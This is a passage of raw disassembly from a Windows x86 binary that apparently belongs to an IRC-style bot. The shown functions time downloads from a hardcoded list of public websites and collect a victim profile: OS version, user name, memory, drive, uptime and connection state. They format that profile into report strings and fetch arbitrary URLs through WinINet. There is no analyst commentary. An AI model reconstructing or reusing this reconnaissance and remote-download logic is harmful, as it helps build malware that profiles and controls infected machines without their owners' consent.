asc_433F14 ; "\r\n" push esi ; Dest call _strcat push esi ; Str call _strlen mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi ; GetTickCount mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+Str], eax jbe short loc_41A62B mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FB ; --------------------------------------------------------------------------- loc_41A5F8: ; CODE XREF: sub_41A4D2+157j mov eax, [ebp+Str] loc_41A5FB: ; CODE XREF: sub_41A4D2+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60B push [ebp+var_C] jmp short loc_41A60C ; --------------------------------------------------------------------------- loc_41A60B: ; CODE XREF: sub_41A4D2+132j push ebx loc_41A60C: ; CODE XREF: sub_41A4D2+137j add eax, esi push eax push [ebp+var_4] call dword_4CB6A4 ; send cmp eax, 0FFFFFFFFh jz short loc_41A692 add [ebp+Str], ebx sub [ebp+var_C], ebx mov eax, [ebp+Str] cmp eax, [ebp+var_10] jb short loc_41A5F8 loc_41A62B: ; CODE XREF: sub_41A4D2+11Aj call edi ; GetTickCount sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul ds:flt_42770C fst [ebp+Str] fcomp ds:flt_427708 fnstsw ax sahf jnz short loc_41A653 fld1 fstp [ebp+Str] loc_41A653: ; CODE XREF: sub_41A4D2+17Aj push [ebp+var_4] call dword_4CB6EC ; closesocket push [ebp+Source] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+Str] fmul ds:flt_427704 fmul ds:flt_427700 call __ftol loc_41A68D: ; CODE XREF: sub_41A4D2+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A692: ; CODE XREF: sub_41A4D2+149j push [ebp+var_4] call dword_4CB6EC ; closesocket push [ebp+Source] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AB: ; CODE XREF: sub_41A4D2+19j ; sub_41A4D2+42j ... xor eax, eax jmp short loc_41A68D sub_41A4D2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41A6AF(int,char *Str,int) sub_41A6AF proc near ; CODE XREF: sub_401ACD+2E62p Dest = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B8 push [ebp+eax*4+var_3C] ; Str call sub_41A4D2 push 8 mov esi, eax call sub_41A4B8 push [ebp+eax*4+var_3C] ; Str call sub_41A4D2 add esp, 10h test esi, esi jz short loc_41A7B0 test eax, eax jz short loc_41A7AC lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B2 ; --------------------------------------------------------------------------- loc_41A7AC: ; CODE XREF: sub_41A6AF+F4j mov ebx, esi jmp short loc_41A7B2 ; --------------------------------------------------------------------------- loc_41A7B0: ; CODE XREF: sub_41A6AF+F0j mov ebx, eax loc_41A7B2: ; CODE XREF: sub_41A6AF+FBj ; sub_41A6AF+FFj push 0Ch call sub_41A4B8 push [ebp+eax*4+var_6C] ; Str call sub_41A4D2 push 0Ch mov edi, eax call sub_41A4B8 push [ebp+eax*4+var_6C] ; Str call sub_41A4D2 add esp, 10h test edi, edi jz short loc_41A7EA test eax, eax jz short loc_41A7E6 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EC ; --------------------------------------------------------------------------- loc_41A7E6: ; CODE XREF: sub_41A6AF+12Ej mov esi, edi jmp short loc_41A7EC ; --------------------------------------------------------------------------- loc_41A7EA: ; CODE XREF: sub_41A6AF+12Aj mov esi, eax loc_41A7EC: ; CODE XREF: sub_41A6AF+135j ; sub_41A6AF+139j push 6 call sub_41A4B8 push [ebp+eax*4+var_1C] ; Str call sub_41A4D2 push 6 mov edi, eax call sub_41A4B8 push [ebp+eax*4+var_1C] ; Str call sub_41A4D2 add esp, 10h test edi, edi jz short loc_41A824 test eax, eax jz short loc_41A820 lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A820: ; CODE XREF: sub_41A6AF+168j mov ecx, edi jmp short loc_41A826 ; --------------------------------------------------------------------------- loc_41A824: ; CODE XREF: sub_41A6AF+164j mov ecx, eax loc_41A826: ; CODE XREF: sub_41A6AF+16Fj ; sub_41A6AF+173j xor eax, eax test ebx, ebx jz short loc_41A833 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A836 ; --------------------------------------------------------------------------- loc_41A833: ; CODE XREF: sub_41A6AF+17Bj push 2 pop edi loc_41A836: ; CODE XREF: sub_41A6AF+182j test esi, esi jz short loc_41A83E add eax, esi jmp short loc_41A83F ; --------------------------------------------------------------------------- loc_41A83E: ; CODE XREF: sub_41A6AF+189j dec edi loc_41A83F: ; CODE XREF: sub_41A6AF+18Dj test ecx, ecx jz short loc_41A847 add eax, ecx jmp short loc_41A848 ; --------------------------------------------------------------------------- loc_41A847: ; CODE XREF: sub_41A6AF+192j dec edi loc_41A848: ; CODE XREF: sub_41A6AF+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+Dest] push offset asc_43A508 ; "-" push eax ; Dest call _sprintf push 0 ; int lea eax, [ebp+Dest] push [ebp+arg_8] ; int push eax ; int push [ebp+Str] ; Str push [ebp+arg_0] ; int call sub_409A73 lea eax, [ebp+Dest] push eax call sub_4151AD add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AF endp ; =============== S U B R O U T I N E ======================================= sub_41A88C proc near ; CODE XREF: sub_401ACD+25A1p ; sub_401ACD+2A11p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi call ds:dword_4270A8 ; GetTickCount xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset byte_4DB920 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h ; Count push esi ; Dest call __snprintf add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F5 proc near ; CODE XREF: sub_416F1B+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h call ds:dword_4270C8 ; GetVersionExA test eax, eax jz short loc_41A988 cmp [ebp+var_90], 4 jnz short loc_41A95E cmp [ebp+var_8C], esi jnz short loc_41A946 cmp [ebp+var_84], 1 jnz short loc_41A939 push 1 pop esi loc_41A939: ; CODE XREF: sub_41A8F5+3Fj cmp [ebp+var_84], 2 jnz short loc_41A988 push 1 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A946: ; CODE XREF: sub_41A8F5+36j cmp [ebp+var_8C], 0Ah jnz short loc_41A953 loc_41A94F: ; CODE XREF: sub_41A8F5+78j push 2 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A953: ; CODE XREF: sub_41A8F5+58j cmp [ebp+var_8C], 5Ah jnz short loc_41A988 jmp short loc_41A978 ; --------------------------------------------------------------------------- loc_41A95E: ; CODE XREF: sub_41A8F5+2Ej cmp [ebp+var_90], 5 jnz short loc_41A988 cmp [ebp+var_8C], esi jz short loc_41A94F cmp [ebp+var_8C], 1 jnz short loc_41A97C loc_41A978: ; CODE XREF: sub_41A8F5+67j push 3 jmp short loc_41A987 ; --------------------------------------------------------------------------- loc_41A97C: ; CODE XREF: sub_41A8F5+81j cmp [ebp+var_8C], 2 jnz short loc_41A988 push 7 loc_41A987: ; CODE XREF: sub_41A8F5+4Fj ; sub_41A8F5+5Cj ... pop esi loc_41A988: ; CODE XREF: sub_41A8F5+25j ; sub_41A8F5+4Bj ... mov eax, esi pop esi leave retn sub_41A8F5 endp ; =============== S U B R O U T I N E ======================================= sub_41A98D proc near ; CODE XREF: sub_41AA43+290p push ebx push esi push edi mov esi, 0F4240h loc_41A995: ; CODE XREF: sub_41A98D+2Fj ; sub_41A98D+35j rdtsc push 3E8h mov edi, edx mov ebx, eax call ds:dword_427078 ; Sleep rdtsc sub eax, ebx push 0 sbb edx, edi push esi push edx push eax call __aulldiv mov edi, edx mov ebx, eax test edi, edi ja short loc_41A995 jb short loc_41A9C4 cmp ebx, esi ja short loc_41A995 loc_41A9C4: ; CODE XREF: sub_41A98D+31j push 0 push 64h push edi push ebx call __aullrem mov ecx, edx push 64h xor edx, edx mov esi, eax test ecx, ecx pop eax ja short loc_41AA37 jb short loc_41A9E3 cmp esi, 50h jnb short loc_41A9E8 loc_41A9E3: ; CODE XREF: sub_41A98D+4Fj push 4Bh xor edx, edx pop eax loc_41A9E8: ; CODE XREF: sub_41A98D+54j test ecx, ecx ja short loc_41AA37 jb short loc_41A9F3 cmp esi, 47h jnb short loc_41A9F8 loc_41A9F3: ; CODE XREF: sub_41A98D+5Fj push 42h xor edx, edx pop eax loc_41A9F8: ; CODE XREF: sub_41A98D+64j test ecx, ecx ja short loc_41AA37 jb short loc_41AA03 cmp esi, 37h jnb short loc_41AA08 loc_41AA03: ; CODE XREF: sub_41A98D+6Fj push 32h xor edx, edx pop eax loc_41AA08: ; CODE XREF: sub_41A98D+74j test ecx, ecx ja short loc_41AA37 jb short loc_41AA13 cmp esi, 26h jnb short loc_41AA18 loc_41AA13: ; CODE XREF: sub_41A98D+7Fj push 21h xor edx, edx pop eax loc_41AA18: ; CODE XREF: sub_41A98D+84j test ecx, ecx ja short loc_41AA37 jb short loc_41AA23 cmp esi, 1Eh jnb short loc_41AA28 loc_41AA23: ; CODE XREF: sub_41A98D+8Fj push 19h xor edx, edx pop eax loc_41AA28: ; CODE XREF: sub_41A98D+94j test ecx, ecx ja short loc_41AA37 jb short loc_41AA33 cmp esi, 0Ah jnb short loc_41AA37 loc_41AA33: ; CODE XREF: sub_41A98D+9Fj xor eax, eax xor edx, edx loc_41AA37: ; CODE XREF: sub_41A98D+4Dj ; sub_41A98D+5Dj ... sub eax, esi sbb edx, ecx add eax, ebx adc edx, edi pop edi pop esi pop ebx retn sub_41A98D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41AA43 proc near ; CODE XREF: sub_401ACD+276Fp var_7E8 = byte ptr -7E8h var_668 = byte ptr -668h var_5E8 = byte ptr -5E8h var_568 = byte ptr -568h FullPath = byte ptr -4E8h var_3E4 = byte ptr -3E4h Dest = byte ptr -2E8h var_25C = word ptr -25Ch var_25A = byte ptr -25Ah var_15C = byte ptr -15Ch var_114 = byte ptr -114h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_C4 = dword ptr -0C4h var_C0 = dword ptr -0C0h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h Dst = byte ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch Drive = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7E8h push ebx push esi lea eax, [ebp+var_CC] push edi push eax mov [ebp+var_4], offset byte_43D808 mov [ebp+var_CC], 94h call ds:dword_4270C8 ; GetVersionExA xor ebx, ebx cmp [ebp+var_C8], 4 jnz short loc_41AACA cmp [ebp+var_C4], ebx jnz short loc_41AAA6 cmp [ebp+var_BC], 1 jnz short loc_41AA90 mov [ebp+var_4], offset a95 ; "95" loc_41AA90: ; CODE XREF: sub_41AA43+44j cmp [ebp+var_BC], 2 jnz loc_41AB45 mov [ebp+var_4], offset aNt_0 ; "NT" jmp short loc_41AB16 ; --------------------------------------------------------------------------- loc_41AAA6: ; CODE XREF: sub_41AA43+3Bj cmp [ebp+var_C4], 0Ah jnz short loc_41AAB8 mov [ebp+var_4], offset a98 ; "98" jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAB8: ; CODE XREF: sub_41AA43+6Aj cmp [ebp+var_C4], 5Ah jnz short loc_41AB06 mov [ebp+var_4], offset aMe_0 ; "ME" jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AACA: ; CODE XREF: sub_41AA43+33j cmp [ebp+var_C8], 5 jnz short loc_41AB06 cmp [ebp+var_C4], ebx jnz short loc_41AAE4 mov [ebp+var_4], offset a2k ; "2K" jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAE4: ; CODE XREF: sub_41AA43+96j cmp [ebp+var_C4], 1 jnz short loc_41AAF6 mov [ebp+var_4], offset aXp ; "XP" jmp short loc_41AB0D ; --------------------------------------------------------------------------- loc_41AAF6: ; CODE XREF: sub_41AA43+A8j cmp [ebp+var_C4], 2 mov [ebp+var_4], offset a2003 ; "2003" jz short loc_41AB0D loc_41AB06: ; CODE XREF: sub_41AA43+7Cj ; sub_41AA43+8Ej mov [ebp+var_4], offset a??? ; "???" loc_41AB0D: ; CODE XREF: sub_41AA43+73j ; sub_41AA43+85j ... cmp [ebp+var_BC], 2 jnz short loc_41AB45 loc_41AB16: ; CODE XREF: sub_41AA43+61j cmp [ebp+var_B8], bl jz short loc_41AB45 lea eax, [ebp+var_B8] push eax lea eax, [ebp+Dest] push [ebp+var_4] push offset aSS_5 ; "%s (%s)" push eax ; Dest call _sprintf lea eax, [ebp+Dest] add esp, 10h mov [ebp+var_4], eax loc_41AB45: ; CODE XREF: sub_41AA43+54j ; sub_41AA43+D1j ... mov ax, word_437F2C push 3Fh mov [ebp+var_25C], ax pop ecx xor eax, eax lea edi, [ebp+var_25A] rep stosd stosw mov eax, dword_4CB534 mov [ebp+var_C], 100h cmp eax, ebx jz short loc_41AB7E lea ecx, [ebp+var_C] push ecx lea ecx, [ebp+var_25C] push ecx call eax ; GetUserNameA loc_41AB7E: ; CODE XREF: sub_41AA43+12Cj push [ebp+arg_4] call sub_40AC10 pop ecx push eax call dword_4CB694 ; inet_addr mov [ebp+var_8], eax push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB60C ; gethostbyaddr cmp eax, ebx jz short loc_41ABA7 push dword ptr [eax] jmp short loc_41ABAC ; --------------------------------------------------------------------------- loc_41ABA7: ; CODE XREF: sub_41AA43+15Ej push offset aCouldnTResolve ; "couldn't resolve host" loc_41ABAC: ; CODE XREF: sub_41AA43+162j lea eax, [ebp+var_3E4] push eax ; Dest call _sprintf pop ecx lea eax, [ebp+FullPath] pop ecx push 104h push eax call ds:dword_427074 ; GetSystemDirectoryA lea eax, [ebp+var_114] push 46h push eax push offset aDdMmmYyyy ; "dd:MMM:yyyy" push ebx mov esi, 409h push ebx push esi call ds:dword_427104 ; GetDateFormatA lea eax, [ebp+var_15C] push 46h push eax push offset aHhMmSs ; "HH:mm:ss" push ebx push ebx push esi call ds:dword_427100 ; GetTimeFormatA push 20h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+Dst] push eax call ds:dword_427194 ; GlobalMemoryStatus push ebx ; Ext push ebx ; Filename lea eax, [ebp+Drive] push ebx ; Dir push eax ; Drive lea eax, [ebp+FullPath] push eax ; FullPath call __splitpath lea eax, [ebp+Drive] push eax lea eax, [ebp+var_7E8] push eax call sub_416A33 push 60h mov esi, eax pop ecx lea edi, [ebp+var_7E8] rep movsd push 60h lea esi, [ebp+var_7E8] pop ecx lea edi, [ebp+var_668] rep movsd push ebx call sub_41A88C add esp, 20h push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_114] push eax lea eax, [ebp+var_25C] push eax push [ebp+arg_4] call sub_40AC10 pop ecx push eax lea eax, [ebp+var_3E4] push eax lea eax, [ebp+FullPath] push eax lea eax, [ebp+var_5E8] push [ebp+var_C0] push [ebp+var_C4] push [ebp+var_C8] push [ebp+var_4] push eax lea eax, [ebp+var_568] push eax mov eax, [ebp+var_2C] shr eax, 0Ah push ebx push eax call sub_416923 pop ecx pop ecx push eax mov eax, [ebp+var_30] shr eax, 0Ah push ebx push eax call sub_416923 pop ecx pop ecx push eax call sub_41A98D push edx push eax push offset asc_43A720 ; "-" push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 50h pop edi pop esi pop ebx leave retn sub_41AA43 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ACF7 proc near ; CODE XREF: sub_401ACD+279Dp ; sub_401ACD+72F6p Dst = byte ptr -8Ch var_C = byte ptr -0Ch Dest = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8Ch push esi mov esi, 80h push esi ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch cmp dword_4CB73C, 0 jnz short loc_41AD63 push 0 lea eax, [ebp+Dst] push esi push eax lea eax, [ebp+var_C] push eax call dword_4CB518 ; InternetGetConnectedStateEx test eax, eax jnz short loc_41AD4C lea eax, [ebp+Dst] push offset aNotConnected ; "Not connected" push eax ; Dest call _sprintf pop ecx pop ecx loc_41AD4C: ; CODE XREF: sub_41ACF7+40j test [ebp+var_C], 1 jz short loc_41AD59 push offset aDialUp ; "Dial-up" jmp short loc_41AD5E ; --------------------------------------------------------------------------- loc_41AD59: ; CODE XREF: sub_41ACF7+59j push offset dword_43A870 loc_41AD5E: ; CODE XREF: sub_41ACF7+60j lea eax, [ebp+Dest] jmp short loc_41AD7B ; --------------------------------------------------------------------------- loc_41AD63: ; CODE XREF: sub_41ACF7+28j mov esi, offset off_43A86C lea eax, [ebp+Dest] push esi ; Format push eax ; Dest call _sprintf pop ecx lea eax, [ebp+Dst] pop ecx push esi ; Format loc_41AD7B: ; CODE XREF: sub_41ACF7+6Aj push eax ; Dest call _sprintf pop ecx pop ecx push [ebp+arg_4] push [ebp+arg_8] call sub_40AC10 pop ecx push eax lea eax, [ebp+Dst] push eax lea eax, [ebp+Dest] push eax push offset asc_43A828 ; "-" push 200h ; Count push [ebp+arg_0] ; Dest call __snprintf mov eax, [ebp+arg_0] add esp, 1Ch pop esi leave retn sub_41ACF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ADB6 proc near ; DATA XREF: sub_401ACD+7715o var_65C = byte ptr -65Ch var_55C = dword ptr -55Ch var_35C = dword ptr -35Ch Str = byte ptr -358h var_2D8 = byte ptr -2D8h var_258 = byte ptr -258h var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = dword ptr -1D0h Dest = byte ptr -1C8h Dst = byte ptr -148h var_C8 = byte ptr -0C8h var_48 = dword ptr -48h Source = dword ptr -38h Count = dword ptr -34h var_30 = word ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 65Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 65h mov esi, eax pop ecx lea edi, [ebp+var_35C] rep movsd push 1 mov edi, 80h pop esi xor ebx, ebx mov [eax+190h], esi push edi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], offset dword_43A95C call _memset push edi ; Size lea eax, [ebp+Dest] push ebx ; Val push eax ; Dst call _memset push edi ; Size lea eax, [ebp+var_C8] push ebx ; Val push eax ; Dst call _memset push 100h ; Size lea eax, [ebp+var_65C] push ebx ; Val push eax ; Dst call _memset push 3Ch lea eax, [ebp+var_48] pop edi push edi ; Size push ebx ; Val push eax ; Dst call _memset add esp, 3Ch lea eax, [ebp+var_48] mov [ebp+var_48], edi mov [ebp+Count], esi push eax lea eax, [ebp+Str] push ebx push eax ; Str mov [ebp+var_28], esi mov [ebp+var_20], esi mov [ebp+var_18], esi call _strlen pop ecx push eax lea eax, [ebp+Str] push eax call dword_4CB550 ; InternetCrackUrlA test eax, eax jz loc_41AF50 cmp [ebp+Count], ebx jbe short loc_41AE8D push [ebp+Count] ; Count lea eax, [ebp+Dst] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41AE8D: ; CODE XREF: sub_41ADB6+C0j cmp [ebp+var_28], ebx movzx esi, [ebp+var_30] jbe short loc_41AEAB push [ebp+var_28] ; Count lea eax, [ebp+Dest] push [ebp+var_2C] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41AEAB: ; CODE XREF: sub_41ADB6+DEj cmp [ebp+var_20], ebx jbe short loc_41AEC5 push [ebp+var_20] ; Count lea eax, [ebp+var_C8] push [ebp+var_24] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41AEC5: ; CODE XREF: sub_41ADB6+F8j cmp [ebp+var_18], ebx jbe short loc_41AEDF push [ebp+var_18] ; Count lea eax, [ebp+var_65C] push [ebp+var_1C] ; Source push eax ; Dest call _strncpy add esp, 0Ch loc_41AEDF: ; CODE XREF: sub_41ADB6+112j push ebx push ebx lea eax, [ebp+var_C8] push 3 push eax lea eax, [ebp+Dest] push eax lea eax, [ebp+Dst] push esi push eax push dword_4CB604 call dword_4CB628 ; InternetConnectA mov esi, eax cmp esi, ebx jz short loc_41AF68 push ebx lea eax, [ebp+var_8] push 200h push eax lea eax, [ebp+var_2D8] push eax lea eax, [ebp+var_65C] push ebx push eax push ebx push esi call dword_4CB61C ; HttpOpenRequestA cmp eax, ebx mov [ebp+var_4], eax jz short loc_41AF6F push ebx push ebx push ebx push ebx push eax call dword_4CB5C8 ; HttpSendRequestA test eax, eax jz short loc_41AF49 push offset dword_43A940 jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF49: ; CODE XREF: sub_41ADB6+18Aj push offset unk_43A904 jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: sub_41ADB6+B7j lea eax, [ebp+var_55C] push offset asc_43A8E8 ; "-" push eax ; Dest call _sprintf mov esi, [ebp+var_C] pop ecx pop ecx jmp short loc_41AF82 ; --------------------------------------------------------------------------- loc_41AF68: ; CODE XREF: sub_41ADB6+153j push offset unk_43A8BC jmp short loc_41AF74 ; --------------------------------------------------------------------------- loc_41AF6F: ; CODE XREF: sub_41ADB6+17Bj push offset asc_43A88C ; "-" loc_41AF74: ; CODE XREF: sub_41ADB6+191j ; sub_41ADB6+198j ... lea eax, [ebp+var_55C] push eax ; Dest call _sprintf pop ecx pop ecx loc_41AF82: ; CODE XREF: sub_41ADB6+1B0j cmp [ebp+var_1D4], ebx jnz short loc_41AFAD push ebx ; int lea eax, [ebp+var_55C] push [ebp+var_1D0] ; int push eax ; int lea eax, [ebp+var_258] push eax ; Str push [ebp+var_35C] ; int call sub_409A73 add esp, 14h loc_41AFAD: ; CODE XREF: sub_41ADB6+1D2j lea eax, [ebp+var_55C] push eax call sub_4151AD pop ecx push esi call dword_4CB688 ; InternetCloseHandle push [ebp+var_4] call dword_4CB688 ; InternetCloseHandle push [ebp+var_1D8] call sub_40B413 pop ecx push ebx call ds:dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_41ADB6 endp ; sp-analysis failed ; [0000007B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] ; [00000056 BYTES: COLLAPSED FUNCTION _fclose. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B0B1 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40AB32+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41B117 mov eax, dword_4DCFE8 cmp eax, 3 jnz short loc_41B0DD push esi call ___sbh_find_block pop ecx test eax, eax push esi jz short loc_41B109 push eax call sub_41DEA2 pop ecx pop ecx jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B0DD: ; CODE XREF: sub_41B0B1+14j cmp eax, 2 jnz short loc_41B108 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41EBD2 add esp, 0Ch test eax, eax jz short loc_41B108 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41EC29 add esp, 0Ch jmp short loc_41B117 ; --------------------------------------------------------------------------- loc_41B108: ; CODE XREF: sub_41B0B1+2Fj ; sub_41B0B1+44j push esi loc_41B109: ; CODE XREF: sub_41B0B1+20j push 0 push dword_4DCFE4 call ds:dword_427140 ; RtlFreeHeap loc_41B117: ; CODE XREF: sub_41B0B1+Aj ; sub_41B0B1+2Aj ... pop esi leave retn sub_41B0B1 endp ; [000000E8 BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41B202(void *Src,size_t Size) sub_41B202 proc near ; CODE XREF: sub_4010AB+2Ep ; __onexit+35p ... var_4 = dword ptr -4 Src = dword ptr 8 Size = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+Src], 0 push ebx push esi push edi jnz short loc_41B21D push [ebp+Size] ; Size call _malloc pop ecx jmp loc_41B49D ; --------------------------------------------------------------------------- loc_41B21D: ; CODE XREF: sub_41B202+Bj mov esi, [ebp+Size] test esi, esi jnz short loc_41B232 push [ebp+Src] call sub_41B0B1 pop ecx jmp loc_41B49B ; --------------------------------------------------------------------------- loc_41B232: ; CODE XREF: sub_41B202+20j mov eax, dword_4DCFE8 cmp eax, 3 jnz loc_41B342 loc_41B240: ; CODE XREF: sub_41B202+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41B31E push [ebp+Src] call ___sbh_find_block mov ebx, eax pop ecx test ebx, ebx jz loc_41B2F9 cmp esi, dword_4DCFE0 ja short loc_41B2B2 mov edi, [ebp+Src] push esi push edi push ebx call ___sbh_resize_block add esp, 0Ch test eax, eax jnz short loc_41B2AE push esi call ___sbh_alloc_block mov edi, eax pop ecx test edi, edi jz short loc_41B2B2 mov ebx, [ebp+Src] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41B292 mov eax, esi loc_41B292: ; CODE XREF: sub_41B202+8Cj push eax ; Size push ebx ; Src push edi ; Dst call _memcpy push ebx call ___sbh_find_block push [ebp+Src] mov ebx, eax push ebx call sub_41DEA2 add esp, 18h loc_41B2AE: ; CODE XREF: sub_41B202+74j test edi, edi jnz short loc_41B2F5 loc_41B2B2: ; CODE XREF: sub_41B202+62j ; sub_41B202+81j test esi, esi jnz short loc_41B2B9 push 1 pop esi loc_41B2B9: ; CODE XREF: sub_41B202+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 